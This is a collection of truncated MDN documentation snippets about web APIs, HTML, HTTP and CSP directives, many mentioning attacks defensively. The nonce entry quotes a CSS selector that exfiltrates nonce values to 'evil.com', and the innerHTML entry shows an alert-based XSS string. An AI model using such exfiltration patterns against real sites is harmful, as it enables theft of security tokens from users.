in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 animation.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.res...
Animation.startTime - Web APIs
t = addcat(); // animate said cat with the waapi's "animate" function var newanimationplayer = newcat.animate(keyframes, timing); // set the animation's start time to be the same as the original .cat#withwaapi newanimationplayer.starttime = catrunning.starttime; // add the cat to the pile. waapicats.appendchild(newcat); } reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.starttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 animation.starttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resistf...
AnimationPlaybackEvent.currentTime - Web APIs
the currenttime read-only property of the animationplaybackevent interface represents the current time of the animation that generated the event at the moment the event is queued. this will be unresolved if the animation was idle at the time the event was generated. value a number representing the current time in milliseconds, or null. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of playbackevent.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 playbackevent.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `pri...
AnimationTimeline.currentTime - Web APIs
time read-only property of the web animations api's animationtimeline interface returns the timeline's current time in milliseconds, or null if the timeline is inactive. syntax var currenttime = animationtimeline.currenttime; value a number representing the timeline's current time in milliseconds, or null if the timeline is inactive. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animationtimeline.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 animationtimeline.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision wi...
AudioParam - Web APIs
ompressornode having some param values maniuplated. these are examples of k-rate audioparam's, as the values are set for the entire audio block at once. var compressor = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'audioparam' in that specification. working draft ...
AuthenticatorAssertionResponse.authenticatorData - Web APIs
var authnrdata = authenticatorassertionresponse.authenticatordata; value an arraybuffer that has a arraybuffer.bytelength of at least 37 bytes, containing the following fields: rpidhash (32 bytes) - a sha256 hash of the relying party id that was seen by the browser. the server will ensure that this hash matches a hash of its own origin in order to prevent phishing or other man-in-the-middle attacks. flags (1 bytes) - a bitfield that indicates various attributes that were asserted by the authenticator. the bits are as follows, where "bit 0" is the least significant bit and all bits not specifically mentioned below are "reserved for future use": bit 0, user presence (up) - if set, authenticator validated that the user was present through some test of user presence (tup), such as touch...
BaseAudioContext.createDynamicsCompressor() - Web APIs
a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a compressor node var compressor = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression';...
BaseAudioContext.currentTime - Web APIs
used for scheduling audio playback, visualizing timelines, etc. it starts at 0. syntax var curtime = baseaudiocontext.currenttime; example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix ... console.log(audioctx.currenttime); reduced time precision to offer protection against timing attacks and fingerprinting, the precision of audioctx.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 audioctx.currenttime; // 23.404 // 24.192 // 25.514 // ... // reduced time precision with `privacy.resis...
Constraint validation API - Web APIs
mpose more complex constraints, or to provide clearer reporting of validation failures than the defaults. this can be done using the constraint validation api. note: client-side constraint validation doesn't remove the need for validation on the server side. even though client-side validation can prevent many common kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application. therefore, you need to also validate input values on the server side, in a way that is consistent with what is done on the client side. client side validation is a tool for giving quick feedback to the user. you should not rely on it to completely sanitize data received by the server. validation of constraints through the constraint validation api is don...
DOMHighResTimeStamp - Web APIs
the fractional part of the number indicating fractions of a millisecond. however, if the browser is unable to provide a time value accurate to 5 µs (due, for example, to hardware or software constraints), the browser can represent the value as a time in milliseconds accurate to a millisecond. also note the section below on reduced time precision controlled by browser preferences to avoid timing attacks and fingerprinting. further, if the device or operating system the user agent is running on doesn't have a clock accurate to the microsecond level, they may only be accurate to the millisecond. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of time stamps might get rounded depending on browser settings. in firefox, the privacy.reducetimerpr...
DynamicsCompressorNode() - Web APIs
a compression effect, which lowers the volume of the loudest parts of the signal, in order to help prevent clipping and distortion. that can occur when multiple sounds are played and multiplexed together at once. syntax var dynamicscompressornode = new dynamicscompressornode(context, options) parameters context a reference to an audiocontext. options optional options are as follows: attack: the amount of time (in seconds) to reduce the gain by 10db. its default value is 0.003. this parameter is k-rate. its nominal range is [0, 1]. knee: a decibel value representing the range above the threshold where the curve smoothly transitions to the "ratio" portion. its default value is 30. this parameter is k-rate. its nominal range is [0, 40]. ratio: the amount of db change in input for ...
DynamicsCompressorNode.knee - Web APIs
a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a compressor node var compressor = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression';...
DynamicsCompressorNode.ratio - Web APIs
a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a compressor node var compressor = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression';...
DynamicsCompressorNode.release - Web APIs
a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a compressor node var compressor = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression';...
DynamicsCompressorNode.threshold - Web APIs
a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a compressor node var compressor = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression';...
Element.innerHTML - Web APIs
Web › API › Element › innerHTML
are being replaced is a <template> element, then the <template> element's content attribute is replaced with the new documentfragment created in step 1. for all other elements, the element's contents are replaced with the nodes in the new documentfragment. security considerations it is not uncommon to see innerhtml used to insert text into a web page. there is potential for this to become an attack vector on a site, creating a potential security risk. const name = "john"; // assuming 'el' is an html dom element el.innerhtml = name; // harmless in this case // ... name = "<script>alert('i am john in an annoying alert!')</script>"; el.innerhtml = name; // harmless in this case although this may look like a cross-site scripting attack, the result is harmless. html5 specifies that a <script...
Event.timeStamp - Web APIs
Web › API › Event › timeStamp
> focus this iframe and press any key to get the current timestamp for the keypress event. </p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(event) { var time = document.getelementbyid("time"); time.firstchild.nodevalue = event.timestamp; } document.body.addeventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of event.timestamp might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 event.timestamp; // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `pri...
File.lastModified - Web APIs
Web › API › File › lastModified
t time from date.now() at the moment the file object gets created. const filewithdate = new file([], 'file.bin', { lastmodified: new date(2017, 1, 1), }); console.log(filewithdate.lastmodified); //returns 1485903600000 const filewithoutdate = new file([], 'file.bin'); console.log(filewithoutdate.lastmodified); //returns current time reduced time precision to offer protection against timing attacks and fingerprinting, the precision of somefile.lastmodified might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 somefile.lastmodified; // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precis...
File.lastModifiedDate - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 somefile.lastmodifieddate.gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ...
HTMLMediaElement.currentTime - Web APIs
t have expired from the media buffer. also, media whose timeline doesn't begin at 0 seconds cannot be seeked to a time before its timeline's earliest time. the length of the media in seconds can be determined using the duration property. example var video = document.createelement('video'); console.log(video.currenttime); usage notes reduced time precision to offer protection against timing attacks and fingerprinting, browsers may round or otherwise adjust the value returned by currenttime. specifications specification status comment html living standardthe definition of 'htmlmediaelement.currenttime' in that specification. living standard no change from html5 html5the definition of 'htmlmediaelement.currenttime' in that specification. recommenda...
HTMLOrForeignElement.nonce - Web APIs
not all browsers supported the nonce idl attribute, so a workaround is to try to use getattribute as a fallback: let nonce = script['nonce'] || script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). the idl property (script['nonce']) will be the only way to access nonces. nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification. browser compatibility the compatibility table on this page is generated from structured data...
Node.textContent - Web APIs
Web › API › Node › textContent
nodes. it is impossible to insert the nodes again into any other element or into the same element after doing so. differences from innerhtml element.innerhtml returns html, as its name indicates. sometimes people use innerhtml to retrieve or write text inside an element, but textcontent has better performance because its value is not parsed as html. moreover, using textcontent can prevent xss attacks. examples given this html fragment: <div id="diva">this is <span>some</span> text!</div> ... you can use textcontent to get the element's text content: let text = document.getelementbyid('diva').textcontent; // the text variable is now: 'this is some text!' ... or set the element's text content: document.getelementbyid('diva').textcontent = 'this text is different!'; // the html for diva ...
Pbkdf2Params - Web APIs
ndom value of at least 16 bytes. unlike the input key material passed into derivekey(), salt does not need to be kept secret. iterations a number representing the number of times the hash function will be executed in derivekey(). this determines how computationally expensive (that is, slow) the derivekey() operation will be. in this context, slow is good, since it makes it more expensive for an attacker to run a dictionary attack against the keys. the general guidance here is to use as many iterations as possible, subject to keeping an acceptable level of performance for your application. examples see the examples for subtlecrypto.derivekey(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.pbkdf2params' in that speci...
Push API - Web APIs
Web › API › Push API
nchronous notifications and updates to users that opt in, resulting in better engagement with timely new content. push concepts and usage when implementing pushmanager subscriptions, it is vitally important that you protect against csrf/xsrf issues in your app. see the following articles for more information: cross-site request forgery (csrf) prevention cheat sheet preventing csrf and xsrf attacks for an app to receive push messages, it has to have an active service worker. when the service worker is active, it can subscribe to push notifications, using pushmanager.subscribe(). the resulting pushsubscription includes all the information that the application needs to send a push message: an endpoint and the encryption key needed for sending data. the service worker will be started as ...
RTCIceCandidate.usernameFragment - Web APIs
een 0 and 1. another example: it might take a user-defined string and append three 8-bit random bytes to the end. or perhaps every character is entirely random. usage notes ice uses the usernamefragment and password to ensure message integrity. this avoids crosstalk among multiple ongoing ice sessions, but, more importantly, helps secure ice transactions (and all of webrtc by extension) against attacks that might try to inject themselves into an ice exchange. note: there is no api to obtain the ice password, for what should be fairly obvious security reasons. the usernamefragment and password both change every time an ice restart occurs. example although the webrtc infrastructure will filter out obsolete candidates for you after an ice restart, you can do it yourself if you're trying to ...
Service Worker API - Web APIs
ntext: it therefore has no dom access, and runs on a different thread to the main javascript that powers your app, so it is non-blocking. it is designed to be fully async; as a consequence, apis such as synchronous xhr and localstorage can't be used inside a service worker. service workers only run over https, for security reasons. having modified network requests, wide open to man in the middle attacks would be really bad. in firefox, service worker apis are also hidden and cannot be used when the user is in private browsing mode. note: service workers win over previous attempts in this area such as; appcache because they don't make assumptions about what you are trying to do, and then break when those assumptions are not exactly right; you have granular control over everything. note: ser...
SubtleCrypto.deriveKey() - Web APIs
f2 is also a key derivation function. it's designed to derive key material from some relatively low-entropy input, such as a password. it derives key material by applying a function such as hmac to the input password along with some salt, and repeating this process many times. the more times the process is repeated, the more computationally expensive key derivation is: this makes it harder for an attacker to use brute-force to discover the key using a dictionary attack. pbkdf2 is specified in rfc 2898. examples note: you can try the working examples on github. ecdh in this example alice and bob each generate an ecdh key pair, then exchange public keys. they then use derivekey() to derive a shared aes key, that they could use to encrypt messages. see the complete code on github. /* derive...
TextDecoder.prototype.encoding - Web APIs
acy multi-byte chinese (traditional) encoding: 'big5'. the legacy multi-byte japanese encodings: 'euc-jp', 'iso-2022-jp', and 'shift-jis'. the legacy multi-byte korean encodings: 'euc-kr', and 'iso-2022-kr'. the legacy miscelleanous encodings: 'utf-16be', 'utf-16le', and 'x-user-defined'. a special encoding, 'replacement', which only emits an error and an eof code point. it is used to prevent attacks that mismatch encodings between the client and server. it can happen with iso-2022-cn and iso-2022-cn-ext. syntax var b = decoder.decoding; specifications specification status comment encodingthe definition of 'textdecoder.encoding' in that specification. living standard initial definition. ...
Writing WebSocket servers - Web APIs
esn't directly relate to the websocket protocol, but it's worth mentioning here: your server must keep track of clients' sockets so you don't keep handshaking again with clients who have already completed the handshake. the same client ip address can try to connect multiple times. however, the server can deny them if they attempt too many connections in order to save itself from denial-of-service attacks. for example, you might keep a table of usernames or id numbers along with the corresponding websocket and other data that you need to associate with that connection. exchanging data frames either the client or the server can choose to send a message at any time — that's the magic of websockets. however, extracting information from these so-called "frames" of data is a not-so-magical experi...
Geometry and reference spaces in WebXR - Web APIs
nits for measuring angles. const radians_per_degree = math.pi / 180.0; let degreestoradians = (deg) => deg * radians_per_degree; let radianstodegrees = (rad) => rad / radians_per_degree; times and durations note that for security reasons, domhighrestimestamp usually introduces a small amount of imprecision to the clock in order to prevent it from being used in fingerprinting and timing-based attacks. all times and durations in webxr are measured using the domhighrestimestamp type, which is a double-precision floating-point value specifying the time in milliseconds relative to the starting time. since the value is a floating-point number, it may be accurate to well better than the millisecond level, depending on the platform and hardware. time is primarily used to determine the amount of t...
Web Authentication API - Web APIs
nd/or secure second-factor authentication without sms texts. web authentication concepts and usage the web authentication api (also referred to as webauthn) uses asymmetric (public-key) cryptography instead of passwords or sms texts for registering, authenticating, and second-factor authentication with websites. this resolves significant security problems related to phishing, data breaches, and attacks against sms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords). many websites already have pages that allow users to register new accounts or sign in to an existing account, and the web authentication api acts as a replacement or supplement to those on tho...
Window.crypto - Web APIs
Web › API › Window › crypto
the read-only window.crypto property returns the crypto object associated to the global object. this object allows web pages access to certain cryptographic related services. although the property itself is read-only, all of its methods (and the methods of its child object, subtlecrypto) are not read-only, and therefore vulnerable to attack by polyfill. although window.crypto is available on all windows, the returned crypto object only has one usable feature in insecure contexts: the getrandomvalues() method. in general, you should use this api only in secure contexts. syntax var cryptoobj = window.crypto || window.mscrypto; // for ie 11 value an instance of the crypto interface, providing access to general-purpose cryptography and a strong random-number generator. example this example ...
@document - CSS: Cascading Style Sheets
Web › CSS › @document
n your own non-firefox browser, you could try using this polyfill by @an-error94, which uses a combination of a user script, data-* attributes, and attribute selectors. note: there is a -moz-prefixed version of this property — @-moz-document. this has been limited to use only in user and ua sheets in firefox 59 in nightly and beta — an experiment designed to mitigate potential css injection attacks (see bug 1035091). formal syntax @document [ <url> | url-prefix(<string>) | domain(<string>) | media-document(<string>) | regexp(<string>) ]# { <group-rule-body> } examples specifying document for css rule @document url("http://www.w3.org/"), url-prefix("http://www.w3.org/style/"), domain("mozilla.org"), media-document("video"), regexp("https:.*") ...
HTML5 Parser - Developer guides
Web › Guide › HTML › HTML5 › HTML5 Parser
t.write(). lack of reparsing prior to html5, parsers reparsed the document if they hit the end of the file within certain elements or within comments. for example, if the document lacked a </title> closing tag, the parser would reparse to look for the first '<' in the document, or if a comment was not closed, it would look for the first '>'. this behavior created a security vulnerability. if an attacker could force a premature end-of-file, the parser might change which parts of the document it considered to be executable scripts. in addition, supporting reparsing led to unnecessarily complex parsing code. with html5, parsers no longer reparse documents. this change has the following consequences for web developers: if you omit the closing tag for <title>, <style>, <textarea>, or <xmp>, the...
Introduction to HTML5 - Developer guides
ared character set is different from what they had anticipated. also, if you are not currently using utf-8, it's recommended that you switch to it in your web pages, as it simplifies character handling in documents using different scripts. note that html5 restricts character sets to those compatible with ascii and using at least 8 bits. this was done to tighten security and prevent some types of attacks. using the new html5 parser the parsing rules of html5, which analyze the meaning of mark-up, have been more precisely defined in html5. until the introduction of html5, only the meaning of valid mark-up was defined, meaning that as soon as one small error was made in the mark-up (most websites have at least one), the behavior was undefined. essentially, it meant that all browsers behaved diff...
<a>: The Anchor element - HTML: Hypertext Markup Language
Web › HTML › Element › a
...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
Web › HTML › Element › iframe
g context, but only if initiated by a user gesture. notes about sandboxing: when the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all. sandboxing is useless if the attacker can display content outside a sandboxed iframe — such as if the viewer opens the frame in a new tab. such content should be also served from a separate origin to limit potential damage. the sandbox attribute is unsupported in internet explorer 9 and earlier. src the url of the page to embed. use a value of about:blank to embed an empty page that conforms to the same-origin policy. a...
<input type="hidden"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › hidden
ansfer some money to another account, the secret they would be provided with would prove that they are who they say they are, and that they are using the correct form to submit the transfer request. this would stop a malicious user from creating a fake form, pretending to be a bank, and emailing the form to unsuspecting users to trick them into transferring money to the wrong place. this kind of attack is called a cross site request forgery (csrf); pretty much any reputable server-side framework uses hidden secrets to prevent such attacks. as stated previously, placing the secret in a hidden input doesn't inherently make it secure. the key's composition and encoding would do that. the value of the hidden input is that it keeps the secret associated with the data and automatically includes it ...
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
Web › HTML › Element › meta
ding on which is used. http-equiv defines a pragma directive. the attribute is named http-equiv(alent) because all the allowed values are names of particular http headers: content-security-policy allows page authors to define a content policy for the current page. content policies mostly specify allowed server origins and script endpoints which help guard against cross-site scripting attacks. content-type if specified, the content attribute must have the value "text/html; charset=utf-8". note: can only be used in documents served with a text/html mime type — not in documents served with an xml mime type. default-style sets the name of the default css style sheet set. x-ua-compatible if specified, the content attribute must have the value "ie=edge". user ag...
HTTP authentication - HTTP
ired, authentication is impossible for this user. authentication of cross-origin images a potential security hole recently been fixed by browsers is authentication of cross-site images. from firefox 59 onwards, image resources loaded from different origins to the current document are no longer able to trigger http authentication dialogs (bug 1423146), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page. character encoding of http authentication browsers use utf-8 encoding for usernames and passwords. firefox once used iso-8859-1, but changed to utf-8 for parity with other browsers and to avoid potential problems as described in bug 1419658. www-authenticate and proxy-authenticate headers the www-authenticate and proxy-authent...
Connection management in HTTP/1.x - HTTP
the need for a new tcp handshake, and utilizing tcp's performance enhancing capabilities. this connection will not stay open forever: idle connections are closed after some time (a server may use the keep-alive header to specify a minimum time the connection should be kept open). persistent connections also have drawbacks; even when idling they consume server resources, and under heavy load, dos attacks can be conducted. in such cases, using non-persistent connections, which are closed as soon as they are idle, can provide better performance. http/1.0 connections are not persistent by default. setting connection to anything other than close, usually retry-after, will make them persistent. in http/1.1, persistence is the default, and the header is no longer needed (but it is often added as a d...
CSP: base-uri - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: child-src - HTTP
to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: connect-src - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: default-src - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: font-src - HTTP
to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: form-action - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: frame-ancestors - HTTP
e and the iframe is loaded from an https url, the url for the page loading the iframe must also be https, per the w3c spec on matching source expressions. <scheme-source> a scheme such as http: or https:. the colon is required and scheme should not be quoted. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: frame-src - HTTP
to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: img-src - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: manifest-src - HTTP
to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: media-src - HTTP
to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: navigate-to - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: object-src - HTTP
to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: prefetch-src - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: script-src-attr - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: script-src-elem - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: script-src - HTTP
